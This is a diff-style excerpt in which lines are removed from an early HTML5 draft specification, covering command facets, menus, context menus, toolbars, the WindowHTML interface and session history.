-   title=command-facet-Hint>Hint</a>. This attribute will be shadowed by the
-   <code title=dom-title><a href="#title2">title</a></code> DOM attribute on
-   the <code><a href="#htmlelement">HTMLElement</a></code> interface.
-
-  <p>The <dfn id=icon4 title=dom-command-ro-icon><code>icon</code></dfn>
-   attribute must return an absolute URI to the command's <a href="#icon3"
-   title=command-facet-Icon>Icon</a>. If the element does not specify an
-   icon, or if the element does not define a command, then the attribute must
-   return null. This attribute will be shadowed by the <code
-   title=dom-command-icon><a href="#icon1">icon</a></code> DOM attribute on
-   <code><a href="#command1">command</a></code> elements.
-
-  <p>The <dfn id=hidden2
-   title=dom-command-ro-hidden><code>hidden</code></dfn> attribute must
-   return true if the command's <a href="#hidden1"
-   title=command-facet-HiddenState>Hidden State</a> is that the command is
-   hidden, and false if it is that the command is not hidden. If the element
-   does not define a command, the attribute must return false. This attribute
-   will be shadowed by the <code title=dom-command-hidden><a
-   href="#hidden0">hidden</a></code> DOM attribute on <code><a
-   href="#command1">command</a></code> elements.
-
-  <p>The <dfn id=disabled6
-   title=dom-command-ro-disabled><code>disabled</code></dfn> attribute must
-   return true if the command's <a href="#disabled5"
-   title=command-facet-DisabledState>Disabled State</a> is that the command
-   is disabled, and false if the command is not disabled. This attribute is
-   not affected by the command's <a href="#hidden1"
-   title=command-facet-HiddenState>Hidden State</a>. If the element does not
-   define a command, the attribute must return false. This attribute will be
-   shadowed by the <code title="">disabled</code> attribute on
-   <code>button</code>, <code>input</code>, <code>option</code>, and <code><a
-   href="#command1">command</a></code> elements.
-
-  <p>The <dfn id=checked3
-   title=dom-command-ro-checked><code>checked</code></dfn> attribute must
-   return true if the command's <a href="#checked2"
-   title=command-facet-CheckedState>Checked State</a> is that the command is
-   checked, and false if it is that the command is not checked. If the
-   element does not define a command, the attribute must return false. This
-   attribute will be shadowed by the <code title="">checked</code> attribute
-   on <code>input</code> and <code><a href="#command1">command</a></code>
-   elements.
-
-  <p>The <dfn id=click1 title=dom-command-ro-click><code>click()</code></dfn>
-   method must trigger the <a href="#action"
-   title=command-facet-Action>Action</a> for the command. If the element does
-   not define a command, this method must do nothing. This method will be
-   shadowed by the <code title=dom-click><a href="#click">click()</a></code>
-   method on HTML elements, and is included only for completeness.
-
-  <p>The <dfn id=triggers0
-   title=dom-command-ro-triggers><code>triggers</code></dfn> attribute must
-   return a list containing the elements that can trigger the command (the
-   command's <a href="#triggers" title=command-facet-Triggers>Triggers</a>).
-   The list must be <a href="#live">live</a>. While the element does not
-   define a command, the list must be empty.
-
-  <p>The <dfn id=commands0
-   title=dom-document-commands><code>commands</code></dfn> attribute of the
-   document's <code><a href="#htmldocument">HTMLDocument</a></code> interface
-   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>
-   rooted at the <code>Document</code> node, whose filter matches only
-   elements that define commands and have IDs.
-
-  <p>The following elements can define commands: <code title=a-command><a
-   href="#using8">a</a></code>, <code title=button-command><a
-   href="#using9">button</a></code>, <code title=input-command><a
-   href="#using10">input</a></code>, <code title=option-command><a
-   href="#using11">option</a></code>, <code title=command-element><a
-   href="#command4">command</a></code>.
-
-  <h4 id=using><span class=secno>4.4.1. </span><dfn id=using8
-   title=a-command>Using the <code>a</code> element to define a command</dfn></h4>
-
-  <p>An <code><a href="#a0">a</a></code> element with an <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute <a
-   href="#command2" title=concept-command>defines a command</a>.
-
-  <p>The <a href="#type15" title=command-facet-Type>Type</a> of the command
-   is "command".
-
-  <p>The <a href="#id2" title=command-facet-ID>ID</a> of the command is the
-   value of the <code title=attr-id><a href="#id0">id</a></code> attribute of
-   the element, if the attribute is present and not empty. Otherwise the
-   command is an <a href="#anonymous">anonymous command</a>.
-
-  <p>The <a href="#label2" title=command-facet-Label>Label</a> of the command
-   is the string given by the element's <code><a
-   href="#textcontent">textContent</a></code> DOM attribute.
-
-  <p>The <a href="#hint" title=command-facet-Hint>Hint</a> of the command is
-   the value of the <code title=attr-title><a href="#title1">title</a></code>
-   attribute of the <code><a href="#a0">a</a></code> element. If the
-   attribute is not present, the <a href="#hint"
-   title=command-facet-Hint>Hint</a> is the empty string.
-
-  <p>The <a href="#icon3" title=command-facet-Icon>Icon</a> of the command is
-   the absolute URI of the first image in the element. Specifically, in a
-   depth-first search of the children of the element, the first element that
-   is <!--either an--> <code><a href="#img0">img</a></code> element with a
-   <code>src</code> attribute<!--, or an <code>object</code> element
-  with a <code>data</code> attribute, or, if the UA supports SVG, an
-  <code>svg</code> element in the SVG namespace with a valid <code
-  title="">id</code> attribute,-->
-   is the one that is used as the image.
-   <!--If it is an <code>img</code> element then--> The URI must be taken
-   from the element's <code>src</code> attribute. <!--If it is
-  an <code>object</code> element then the URI is taken from the
-  <code>data</code> attribute. -->
-   Relative URIs must be resolved relative to the base URI of the image
-   element. <!-- If it is an
-  <code>svg</code> element then the URI is formed by taking the URI of
-  the document and appending a "#" (U+0023 NUMBER SIGN) and the ID of
-  the element.-->
-   If no image is found, then the Icon facet is left blank.
-
-  <p>The <a href="#hidden1" title=command-facet-HiddenState>Hidden State</a>
-   and <a href="#disabled5" title=command-facet-DisabledState>Disabled
-   State</a> facets of the command are always false. (The command is always
-   enabled.)
-
-  <p>The <a href="#checked2" title=command-facet-CheckedState>Checked
-   State</a> of the command is always false. (The command is never checked.)
-
-  <p>The <a href="#action" title=command-facet-Action>Action</a> of the
-   command is to <a href="#firing" title="fire a click event">fire a <code
-   title="">click</code> event</a> at the element.
-
-  <h4 id=using0><span class=secno>4.4.2. </span><dfn id=using9
-   title=button-command>Using the <code>button</code> element to define a
-   command</dfn></h4>
-
-  <p>A <code>button</code> element always <a href="#command2"
-   title=concept-command>defines a command</a>.
-
-  <p>The <a href="#type15" title=command-facet-Type>Type</a>, <a href="#id2"
-   title=command-facet-ID>ID</a>, <a href="#label2"
-   title=command-facet-Label>Label</a>, <a href="#hint"
-   title=command-facet-Hint>Hint</a>, <a href="#icon3"
-   title=command-facet-Icon>Icon</a>, <a href="#hidden1"
-   title=command-facet-HiddenState>Hidden State</a>, <a href="#checked2"
-   title=command-facet-CheckedState>Checked State</a>, and <a href="#action"
-   title=command-facet-Action>Action</a> facets of the command are determined
-   <a href="#using8" title=a-command>as for <code>a</code> elements</a> (see
-   the previous section).
-
-  <p>The <a href="#disabled5" title=command-facet-DisabledState>Disabled
-   State</a> of the command mirrors the disabled state of the button.
-   Typically this is given by the element's <code
-   title=attr-button-disabled>disabled</code> attribute, but certain button
-   types become disabled at other times too (for example, the
-   <code>move-up</code> button type is disabled when it would have no
-   effect).
-
-  <h4 id=using1><span class=secno>4.4.3. </span><dfn id=using10
-   title=input-command>Using the <code>input</code> element to define a
-   command</dfn></h4>
-
-  <p>An <code>input</code> element whose <code
-   title=attr-input-type>type</code> attribute is one of <code>submit</code>,
-   <code>reset</code>, <code>button</code>, <code>radio</code>,
-   <code>checkbox</code>, <code>move-up</code>, <code>move-down</code>,
-   <code>add</code>, and <code>remove</code> <a href="#command2"
-   title=concept-command>defines a command</a>.
-
-  <p>The <a href="#type15" title=command-facet-Type>Type</a> of the command
-   is "radio" if the <code title=attr-input-type>type</code> attribute has
-   the value <code>radio</code>, "checkbox" if the <code>type</code>
-   attribute has the value <code>checkbox</code>, and "command" otherwise.
-
-  <p>The <a href="#id2" title=command-facet-ID>ID</a> of the command is the
-   value of the <code title=attr-id><a href="#id0">id</a></code> attribute of
-   the element, if the attribute is present and not empty. Otherwise the
-   command is an <a href="#anonymous">anonymous command</a>.
-
-  <p>The <a href="#label2" title=command-facet-Label>Label</a> of the command
-   depends on the Type of the command:
-
-  <p>If the <a href="#type15" title=command-facet-Type>Type</a> is "command",
-   then it is the string given by the <code
-   title=attr-input-value>value</code> attribute, if any, and a
-   <span>UA-dependent value</span><!-- XXX xref--> that the UA uses to label
-   the button itself if the attribute is absent.
-
-  <p>Otherwise, the <a href="#type15" title=command-facet-Type>Type</a> is
-   "radio" or "checkbox". If the element has a <code>label</code> element
-   associated with it, the <code><a
-   href="#textcontent">textContent</a></code> of the first such element is
-   the <a href="#label2" title=command-facet-Label>Label</a> (in DOM terms,
-   this the string given by <code><var
-   title="">element</var>.labels[0].textContent</code>). Otherwise, the value
-   of the <code><a href="#value">value</a></code> attribute, if present, is
-   the <a href="#label2" title=command-facet-Label>Label</a>. Otherwise, the
-   <a href="#label2" title=command-facet-Label>Label</a> is the empty string.
-
-  <p>The <a href="#hint" title=command-facet-Hint>Hint</a> of the command is
-   the value of the <code title=attr-title><a href="#title1">title</a></code>
-   attribute of the <code>input</code> element. If the attribute is not
-   present, the <a href="#hint" title=command-facet-Hint>Hint</a> is the
-   empty string.
-
-  <p>There is no <a href="#icon3" title=command-facet-Icon>Icon</a> for the
-   command.
-
-  <p>The <a href="#hidden1" title=command-facet-HiddenState>Hidden State</a>
-   of the command is always false. (The command is never hidden.)
-
-  <p>The <a href="#disabled5" title=command-facet-DisabledState>Disabled
-   State</a> of the command mirrors the disabled state of the control.
-   Typically this is given by the element's <code
-   title=attr-input-disabled>disabled</code> attribute, but certain input
-   types become disabled at other times too (for example, the
-   <code>move-up</code> input type is disabled when it would have no effect).
-
-  <p>The <a href="#checked2" title=command-facet-CheckedState>Checked
-   State</a> of the command is true if the command is of <a href="#type15"
-   title=command-facet-Type>Type</a> "radio" or "checkbox" and the element
-   has a <code title=attr-input-checked>checked</code> attribute, and false
-   otherwise.
-
-  <p>The <a href="#action" title=command-facet-Action>Action</a> of the
-   command is to <a href="#firing" title="fire a click event">fire a <code
-   title="">click</code> event</a> at the element.</p>
-  <!-- XXX this
-  is probably wrong for radio and checkbox types, depending on how we
-  define <input>. -->
-
-  <h4 id=using2><span class=secno>4.4.4. </span><dfn id=using11
-   title=option-command>Using the <code>option</code> element to define a
-   command</dfn></h4>
-
-  <p>An <code>option</code> element with an ancestor <code>select</code>
-   element and either no <code><a href="#value">value</a></code> attribute or
-   a <code><a href="#value">value</a></code> attribute that is not the empty
-   string <a href="#command2" title=concept-command>defines a command</a>.
-
-  <p>The <a href="#type15" title=command-facet-Type>Type</a> of the command
-   is "radio" if the <code>option</code>'s nearest ancestor
-   <code>select</code> element has no <code
-   title=attr-select-multiple>multiple</code> attribute, and "checkbox" if it
-   does.
-
-  <p>The <a href="#id2" title=command-facet-ID>ID</a> of the command is the
-   value of the <code title=attr-id><a href="#id0">id</a></code> attribute of
-   the element, if the attribute is present and not empty. Otherwise the
-   command is an <a href="#anonymous">anonymous command</a>.
-
-  <p>The <a href="#label2" title=command-facet-Label>Label</a> of the command
-   is the value of the <code>option</code> element's <code
-   title=attr-option-label>label</code> attribute, if there is one, or the
-   value of the <code>option</code> element's <code><a
-   href="#textcontent">textContent</a></code> DOM attribute if it doesn't.
-
-  <p>The <a href="#hint" title=command-facet-Hint>Hint</a> of the command is
-   the string given by the element's <code title=attr-title><a
-   href="#title1">title</a></code> attribute, if any, and the empty string if
-   the attribute is absent.
-
-  <p>There is no <a href="#icon3" title=command-facet-Icon>Icon</a> for the
-   command.
-
-  <p>The <a href="#hidden1" title=command-facet-HiddenState>Hidden State</a>
-   of the command is always false. (The command is never hidden.)
-
-  <p>The <a href="#disabled5" title=command-facet-DisabledState>Disabled
-   State</a> of the command is true (disabled) if the element has a <code
-   title=attr-option-disabled>disabled</code> attribute, and false otherwise.
-
-  <p>The <a href="#checked2" title=command-facet-CheckedState>Checked
-   State</a> of the command is true (checked) if the element's <code
-   title=dom-option-selected>selected</code> DOM attribute is true, and false
-   otherwise.
-
-  <p>The <a href="#action" title=command-facet-Action>Action</a> of the
-   command depends on its <a href="#type15"
-   title=command-facet-Type>Type</a>. If the command is of <a href="#type15"
-   title=command-facet-Type>Type</a> "radio" then this must set the <code
-   title=dom-option-selected>selected</code> DOM attribute of the
-   <code>option</code> element to true, otherwise it must toggle the state of
-   the <code title=dom-option-selected>selected</code> DOM attribute (set it
-   to true if it is false and vice versa). Then <a href="#firing0"
-   title="fire a change event">a <code title="">change</code> event must be
-   fired</a> on the <code>option</code> element's nearest ancestor
-   <code>select</code> element (if there is one), as if the selection had
-   been changed directly.
-
-  <h4 id=using3><span class=secno>4.4.5. </span>Using the <dfn id=command4
-   title=command-element><code>command</code></dfn> element to define a
-   command</h4>
-
-  <p>A <code><a href="#command1">command</a></code> element <a
-   href="#command2" title=concept-command>defines a command</a>.
-
-  <p>The <a href="#type15" title=command-facet-Type>Type</a> of the command
-   is "radio" if the <code><a href="#command1">command</a></code>'s <code
-   title=attr-command-type><a href="#type11">type</a></code> attribute is
-   "<code>radio</code>", "checkbox" if the attribute's value is
-   "<code>checkbox</code>", and "command" otherwise.
-
-  <p>The <a href="#id2" title=command-facet-ID>ID</a> of the command is the
-   value of the <code title=attr-id><a href="#id0">id</a></code> attribute of
-   the element, if the attribute is present and not empty. Otherwise the
-   command is an <a href="#anonymous">anonymous command</a>.
-
-  <p>The <a href="#label2" title=command-facet-Label>Label</a> of the command
-   is the value of the element's <code title=attr-command-label><a
-   href="#label">label</a></code> attribute, if there is one, or the empty
-   string if it doesn't.
-
-  <p>The <a href="#hint" title=command-facet-Hint>Hint</a> of the command is
-   the string given by the element's <code title=attr-command-title><a
-   href="#title8">title</a></code> attribute, if any, and the empty string if
-   the attribute is absent.
-
-  <p>The <a href="#icon3" title=command-facet-Icon>Icon</a> for the command
-   is the absolute URI resulting from resolving the value of the element's
-   <code title=attr-command-icon><a href="#icon0">icon</a></code> attribute
-   as a URI relative to the element's base URI. If the element has no <code
-   title=attr-command-icon><a href="#icon0">icon</a></code> attribute then
-   the command has no <a href="#icon3" title=command-facet-Icon>Icon</a>.
-
-  <p>The <a href="#hidden1" title=command-facet-HiddenState>Hidden State</a>
-   of the command is true (hidden) if the element has a <code
-   title=attr-command-hidden><a href="#hidden">hidden</a></code> attribute,
-   and false otherwise.
-
-  <p>The <a href="#disabled5" title=command-facet-DisabledState>Disabled
-   State</a> of the command is true (disabled) if the element has either a
-   <code title=attr-command-disabled><a href="#disabled3">disabled</a></code>
-   attribute or a <code title=attr-command-hidden><a
-   href="#hidden">hidden</a></code> attribute (or both), and false otherwise.
-
-  <p>The <a href="#checked2" title=command-facet-CheckedState>Checked
-   State</a> of the command is true (checked) if the element has a <code
-   title=attr-command-checked><a href="#checked0">checked</a></code>
-   attribute, and false otherwise.
-
-  <p>The <a href="#action" title=command-facet-Action>Action</a> of the
-   command is to invoke the behaviour described in the definition of the
-   <code title=dom-command-click><a href="#click0">click()</a></code> method
-   of the <code><a href="#htmlcommandelement0">HTMLCommandElement</a></code>
-   interface.</p>
-  <!-- XXX update to
-  point to dom-click when we remove dom-command-click -->
-
-  <h3 id=menus><span class=secno>4.5. </span>Menus</h3>
-
-  <h4 id=menus-intro><span class=secno>4.5.1. </span>Introduction</h4>
-
-  <p><em>This section is non-normative.</em>
-
-  <p class=big-issue>...</p>
-  <!--
-
-
-  <pre>AMPERSANDlt;menu type="commands"AMPERSANDgt;
- AMPERSANDlt;liAMPERSANDgt;
-  AMPERSANDlt;menu label="File"AMPERSANDgt;
-   AMPERSANDlt;button type="button" onclick="fnew()"AMPERSANDgt;New...AMPERSANDlt;/buttonAMPERSANDgt;
-   AMPERSANDlt;button type="button" onclick="fopen()"AMPERSANDgt;Open...AMPERSANDlt;/buttonAMPERSANDgt;
-   AMPERSANDlt;button type="button" onclick="fsave()" id="save"AMPERSANDgt;SaveAMPERSANDlt;/buttonAMPERSANDgt;
-   AMPERSANDlt;button type="button" onclick="fsaveas()"AMPERSANDgt;Save as...AMPERSANDlt;/buttonAMPERSANDgt;
-  AMPERSANDlt;/menuAMPERSANDgt;
- AMPERSANDlt;/liAMPERSANDgt;
- AMPERSANDlt;liAMPERSANDgt;
-  AMPERSANDlt;menu label="Edit"AMPERSANDgt;
-   AMPERSANDlt;button type="button" onclick="ecopy()"AMPERSANDgt;CopyAMPERSANDlt;/buttonAMPERSANDgt;
-   AMPERSANDlt;button type="button" onclick="ecut()"AMPERSANDgt;CutAMPERSANDlt;/buttonAMPERSANDgt;
-   AMPERSANDlt;button type="button" onclick="epaste()"AMPERSANDgt;PasteAMPERSANDlt;/buttonAMPERSANDgt;
-  AMPERSANDlt;/menuAMPERSANDgt;
- AMPERSANDlt;/liAMPERSANDgt;
- AMPERSANDlt;liAMPERSANDgt;
-  AMPERSANDlt;menu label="Help"AMPERSANDgt;
-   AMPERSANDlt;liAMPERSANDgt;AMPERSANDlt;a href="help.html"AMPERSANDgt;HelpAMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/liAMPERSANDgt;
-   AMPERSANDlt;liAMPERSANDgt;AMPERSANDlt;a href="about.html"AMPERSANDgt;AboutAMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/liAMPERSANDgt;
-  AMPERSANDlt;/menuAMPERSANDgt;
- AMPERSANDlt;/liAMPERSANDgt;
-AMPERSANDlt;/menubarAMPERSANDgt;
-
-...
-
-AMPERSANDlt;input command="save"/AMPERSANDgt; AMPERSANDlt;!- - This will act exactly like the
-                             Save button above, including reflecting
-                             its <code>disabled</code> state dynamically - -AMPERSANDgt;
-
-</pre>
-
-  <p>Here's some markup that falls back on the traditional abuse of
-  the <code>select</code> element as a navigation menu, but which is
-  implemented as a semi-correct menu using the new techniques of this
-  document:</p>
-
-<pre>AMPERSANDlt;form action="redirect.cgi"AMPERSANDgt;
- AMPERSANDlt;menu type="commands"AMPERSANDgt;
-  AMPERSANDlt;label for="goto"AMPERSANDgt;Go to...AMPERSANDlt;/labelAMPERSANDgt;
-  AMPERSANDlt;menu label="Go"AMPERSANDgt;
-   AMPERSANDlt;select id="goto"
-           onchange="if (this.options[this.selectedIndex].value)
-                     window.location = this.options[this.selectedIndex].value"AMPERSANDgt;
-    AMPERSANDlt;option value="" selected="selected"AMPERSANDgt; Select site: AMPERSANDlt;/optionAMPERSANDgt;
-    AMPERSANDlt;option value="http://www.apple.com/"AMPERSANDgt; Apple AMPERSANDlt;/optionAMPERSANDgt;
-    AMPERSANDlt;option value="http://www.mozilla.org/"AMPERSANDgt; Mozilla AMPERSANDlt;/optionAMPERSANDgt;
-    AMPERSANDlt;option value="http://www.opera.com/"AMPERSANDgt; Opera AMPERSANDlt;/optionAMPERSANDgt;
-   AMPERSANDlt;/selectAMPERSANDgt;
-   AMPERSANDlt;spanAMPERSANDgt;AMPERSANDlt;input type="submit" value="Go"AMPERSANDgt;AMPERSANDlt;/spanAMPERSANDgt;
-  AMPERSANDlt;/menuAMPERSANDgt;
- AMPERSANDlt;/menubarAMPERSANDgt;
-AMPERSANDlt;/formAMPERSANDgt;</pre>
-
-<form ...>
- <menu type="toolbar" autosubmit>
-  <li>
-   <select name="foo" onchange="form.submit()">
-     ...
-   </select>
-   <button>Go</button>
-  </li>
-  <li>
-   <select name="bar" onchange="form.submit()">
-     ...
-   </select>
-   <button>Go</button>
-  </li>
- </menu>
-</form>
-
-<form ...>
- <menu type="toolbar" autosubmit>
-  <menu label="Foo">
-   <select name="foo" onchange="form.submit()">
-     ...
-   </select>
-   <button>Go</button>
-  </menu>
-  <menu label="Bar">
-   <select name="bar" onchange="form.submit()">
-     ...
-   </select>
-   <button>Go</button>
-  </menu>
- </menu>
-</form>
-
--->
-
-  <h4 id=building><span class=secno>4.5.2. </span><dfn id=building1>Building
-   menus</dfn></h4>
-
-  <p>A menu consists of a list of zero or more of the following components:
-
-  <ul class=brief>
-   <li><a href="#command2" title=concept-command>Commands</a>, which can be
-    marked as default commands
-
-   <li>Separators
-
-   <li>Other menus (which allows the list to be nested)
-  </ul>
-
-  <p>The list corresponding to a particular element is built by iterating
-   over its child nodes.
-
-  <p>For each child node in <a href="#tree-order">tree order</a>, the
-   required behaviour depends on what the node is, as follows:
-
-  <dl class=switch>
-   <dt>An element that <a href="#command2" title=concept-command>defines a
-    command</a>
-
-   <dd>Append the command to the menu. If the element is a <code><a
-    href="#command1">command</a></code> element with a <code
-    title=attr-command-default><a href="#default">default</a></code>
-    attribute, mark the command as being a default command.
-
-   <dt>An <code><a href="#hr0">hr</a></code> element
-
-   <dt>An <code>option</code> element that has a <code
-    title=attr-option-value>value</code> attribute set to the empty string,
-    and has a <code title=attr-option-disabled>disabled</code> attribute, and
-    whose <code><a href="#textcontent">textContent</a></code> consists of a
-    string of one or more hyphens (U+002D HYPHEN-MINUS)
-
-   <dd>Append a separator to the menu.
-
-   <dt>An <code><a href="#li0">li</a></code> element
-
-   <dd>Iterate over the children of the <code><a href="#li0">li</a></code>
-    element.
-
-   <dt>A <code><a href="#menu0">menu</a></code> element with no <code
-    title=attr-menu-label><a href="#label1">label</a></code> attribute
-
-   <dt>A <code>select</code> element
-
-   <dd>Append a separator to the menu, then iterate over the children of the
-    <code><a href="#menu0">menu</a></code> or <code>select</code> element,
-    then append another separator.
-
-   <dt>A <code><a href="#menu0">menu</a></code> element with a <code
-    title=attr-menu-label><a href="#label1">label</a></code> attribute
-
-   <dt>An <code>optgroup</code> element
-
-   <dd>Append a submenu to the menu, using the value of the element's <code
-    title="">label</code> attribute as the label of the menu. The submenu
-    must be constructed by taking the element and creating a new menu for it
-    using the complete process described in this section.
-
-   <dt>Any other node
-
-   <dd><a href="#ignored">Ignore</a> the node.
-  </dl>
-
-  <p>Once all the nodes have been processed as described above, the user
-   agent must the post-process the menu as follows:
-
-  <ol>
-   <li>Any menu item with no label, or whose label is the empty string, must
-    be removed.
-
-   <li>Any sequence of two or more separators in a row must be collapsed to a
-    single separator.
-
-   <li>Any separator at the start or end of the menu must be removed.
-  </ol>
-
-  <h4 id=context><span class=secno>4.5.3. </span><dfn id=context2>Context
-   menus</dfn></h4>
-
-  <p>The <dfn id=contextmenu
-   title=attr-contextmenu><code>contextmenu</code></dfn> attribute gives the
-   element's <a href="#context2" title="context menus">context menu</a>. The
-   value must be the ID of a <code><a href="#menu0">menu</a></code> element
-   in the DOM. If the node that would be obtained by the invoking the
-   <code>getElementById()</code> method using the attribute's value as the
-   only argument is null or not a <code><a href="#menu0">menu</a></code>
-   element, then the element has no assigned context menu. Otherwise, the
-   element's assigned context menu is the element so identified.
-
-  <p>When an element's context menu is requested (e.g. by the user
-   right-clicking the element, or pressing a context menu key), the UA must
-   <a href="#firing1">fire a <code title="">contextmenu</code> event</a> on
-   the element for which the menu was requested.
-
-  <p class=note>Typically, therefore, the firing of the <code
-   title=event-contextmenu>contextmenu</code> event will be the default
-   action of a <code title=mouseup>mouseup</code> or <code
-   title=event-keyup>keyup</code> event. The exact sequence of events is
-   UA-dependent, as it will vary based on platform conventions.
-
-  <p>The default action of the <code
-   title=event-contextmenu>contextmenu</code> event depends on whether the
-   element has a context menu assigned (using the <code
-   title=attr-contextmenu><a href="#contextmenu">contextmenu</a></code>
-   attribute) or not. If it does not, the default action must be for the user
-   agent to show its default context menu, if it has one.
-
-  <p>If the element <em>does</em> have a context menu assigned, then the user
-   agent must <a href="#firing3">fire a <code title="">show</code> event</a>
-   on the relevant <code><a href="#menu0">menu</a></code> element.
-
-  <p>The default action of <em>this</em> event is that the user agent must
-   show a context menu <a href="#building1" title="building menus">built</a>
-   from the <code><a href="#menu0">menu</a></code> element.
-
-  <p>The user agent may also provide access to its default context menu, if
-   any, with the context menu shown. For example, it could merge the menu
-   items from the two menus together, or provide the page's context menu as a
-   submenu of the default menu.
-
-  <p>If the user dismisses the menu without making a selection, nothing in
-   particular happens.
-
-  <p>If the user selects a menu item that represents a <span
-   title=concept-commands>command</span>, then the UA must invoke that
-   command's <a href="#action" title=command-facet-Action>Action</a>, as
-   defined above.
-
-  <p>Context menus must not, while being shown, reflect changes in the DOM;
-   they are constructed as the default action of the <code
-   title=event-show>show</code> event and must remain like that until
-   dismissed.
-
-  <p>User agents may provide means for bypassing the context menu processing
-   model, ensuring that the user can always access the UA's default context
-   menus. For example, the user agent could handle right-clicks that have the
-   Shift key depressed in such a way that it does not fire the <code
-   title=event-contextmenu>contextmenu</code> event and instead always shows
-   the default context menu.
-
-  <p>The <dfn id=contextmenu0
-   title=dom-contextMenu><code>contextMenu</code></dfn> attribute must <a
-   href="#reflect">reflect</a> the <code title=attr-contextmenu><a
-   href="#contextmenu">contextmenu</a></code> content attribute.
-
-  <h4 id=toolbars><span class=secno>4.5.4. </span><dfn
-   id=toolbars1>Toolbars</dfn></h4>
-
-  <p>Toolbars are a kind of menu that is always visible.
-
-  <p>When a <code><a href="#menu0">menu</a></code> element has a <code
-   title=attr-menu-type><a href="#type13">type</a></code> attribute with the
-   value <code title="">toolbar</code>, then the user agent must <a
-   href="#building1" title="building menus">build</a> the menu for that
-   <code><a href="#menu0">menu</a></code> element and <span
-   title=render-toolbar>render</span><!-- XXX xref --> it in the document in
-   a position appropriate for that <code><a href="#menu0">menu</a></code>
-   element.
-
-  <p>The user agent must reflect changes made to the <code><a
-   href="#menu0">menu</a></code>'s DOM immediately in the UI.
-
-  <h3 id=repetition-templates><span class=secno>4.6. </span>Repetition
-   templates</h3>
-
-  <p class=big-issue>See <a
-   href="http://whatwg.org/specs/web-forms/current-work/#repeatingFormControls">WF2</a>
-   for now
-
-  <h2 id=apis><span class=secno>5. </span>The browser environment</h2>
-
-  <p>This section describes a set of APIs that allow authors to make their
-   documents and applications interact with the user agent, integrating with
-   native features such as the navigation history, drag-and-drop, undo/redo,
-   and selections.
-
-  <h3 id=the-global><span class=secno>5.1. </span>The global scope</h3>
-
-  <p>Many of the APIs are part of the <code><a
-   href="#windowhtml">WindowHTML</a></code> interface. The <code><a
-   href="#windowhtml">WindowHTML</a></code> interface must be obtainable from
-   the <code>Window</code> object using binding-specific casting methods. <a
-   href="#refsWINDOW">[WINDOW]</a>
-
-  <pre class=idl>interface <dfn id=windowhtml>WindowHTML</dfn> {
-
-  // defined in this section
-  readonly attribute <a href="#history1">History</a> <a href="#history0" title=dom-history>history</a>;
-  readonly attribute <a href="#clientinformation">ClientInformation</a> <a href="#navigator" title=dom-navigator>navigator</a>; <!-- XXX IE6 also has window.clientInformation pointing to this same object -->
-  readonly attribute <a href="#undomanager">UndoManager</a> <a href="#undomanager0" title=dom-undoManager>undoManager</a>;
-  <a href="#selection1">Selection</a> <a href="#getselection" title=dom-getSelection>getSelection</a>();
-  readonly attribute <a href="#storage2">Storage</a> <a href="#sessionstorage" title=dom-sessionStorage>sessionStorage</a>;
-  readonly attribute <a href="#storagelist">StorageList</a> <a href="#globalstorage" title=dom-globalStorage>globalStorage</a>;
-
-  // defined in other sections
-           attribute <span title=dom-Object>Object</span> <a href="#onerror">onerror</a>;
-
-  // more...<!-- XXX constructors -->
-};</pre>
-  <!-- XXX XMLHttpRequest, Image, Audio, confirm, prompt, alert, ...
-          http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/obj_window.asp
-          http://www.mozilla.org/docs/dom/domref/dom_window_ref.html
-          http://lxr.mozilla.org/mozilla/source/dom/public/idl/base/nsIDOMWindow.idl
-   -->
-
-  <p>The <code><a href="#windowhtml">WindowHTML</a></code> object must
-   provide the following constructors:
-
-  <dl>
-   <dt><dfn id=audio title=dom-audio><code>Audio()</code></dfn>
-
-   <dd>
-    <p>Constructs an <code><a href="#audio0">Audio</a></code> object.
-
-   <dt><dfn id=image0 title=dom-image><code>Image()</code></dfn>
-
-   <dt><dfn id=imagein title=dom-image-w><code>Image(in unsigned long <var
-    title="">w</var>)</code></dfn>
-
-   <dt><dfn id=imagein0 title=dom-image-wh><code>Image(in unsigned long <var
-    title="">w</var>, in unsigned long <var title="">h</var>)</code></dfn>
-
-   <dd>
-    <p>Constructs an <code><a
-     href="#htmlimageelement">HTMLImageElement</a></code> object (a new
-     <code><a href="#img0">img</a></code> element). If the <var
-     title="">h</var> argument is present, the new object's <code
-     title=attr-img-height><a href="#height">height</a></code> content
-     attribute must be set to <var title="">h</var>. If the <var
-     title="">w</var> argument is present, the new object's <code
-     title=attr-img-width><a href="#width">width</a></code> content attribute
-     must be set to <var title="">w</var>.
-
-   <dt><dfn id=option title=dom-option><code>Option()</code></dfn>
-
-   <dt><dfn id=optionin title=dom-option-n><code>Option(in DOMString <var
-    title="">name</var>)</code></dfn>
-
-   <dt><dfn id=optionin0 title=dom-option-nv><code>Option(in DOMString <var
-    title="">name</var>, in DOMString <var title="">value</var>)</code></dfn>
-
-   <dd>
-    <p>Constructs an <code>HTMLOptionElement</code> object (a new
-     <code>option</code> element). <span class=big-issue>need to define
-     argument processing</span>
-  </dl>
-
-  <h3 id=history><span class=secno>5.2. </span>Session history and navigation</h3>
-
-  <h4 id=the-session><span class=secno>5.2.1. </span>The <dfn
-   id=session0>session history</dfn> of browsing contexts</h4>
-  <!-- XXX would be nice to have an intro paragraph that DFNed session
-  history instead of having the header do it -->
-
-  <p><code><a href="#history1">History</a></code> objects provide a
-   representation of the pages in the session history of their
-   <code>Window</code> object's <a href="#browsing">browsing context</a>.
-   Each browsing context (<code>frame</code>, <code><a
-   href="#iframe0">iframe</a></code>, etc) has a distinct session history.</p>
-  <!-- conf crit for that last statement is in
-  the bit that defines browsing context -->
-
-  <p>Each <code><a href="#documentui">DocumentUI</a></code> object in a
-   browsing context's session history is associated with a unique instance of
-   the <code><a href="#history1">History</a></code> object, although they all
-   must model the same underlying session history.
-
-  <p>The <dfn id=history0 title=dom-history><code>history</code></dfn>
-   attribute of the <code><a href="#windowhtml">WindowHTML</a></code>
-   interface must return the object implementing the <code><a
-   href="#history1">History</a></code> interface for that <code><a
-   href="#windowhtml">WindowHTML</a></code> object's associated <code><a
-   href="#documentui">DocumentUI</a></code> object.
-
-  <p><code><a href="#history1">History</a></code> objects represent their <a
-   href="#browsing">browsing context</a>'s session history as a flat list of
-   URIs and <a href="#state" title="state object">state objects</a>. (This
-   does not imply that the UI need be linear. See the <a
-   href="#history-notes">notes below</a>.)
-
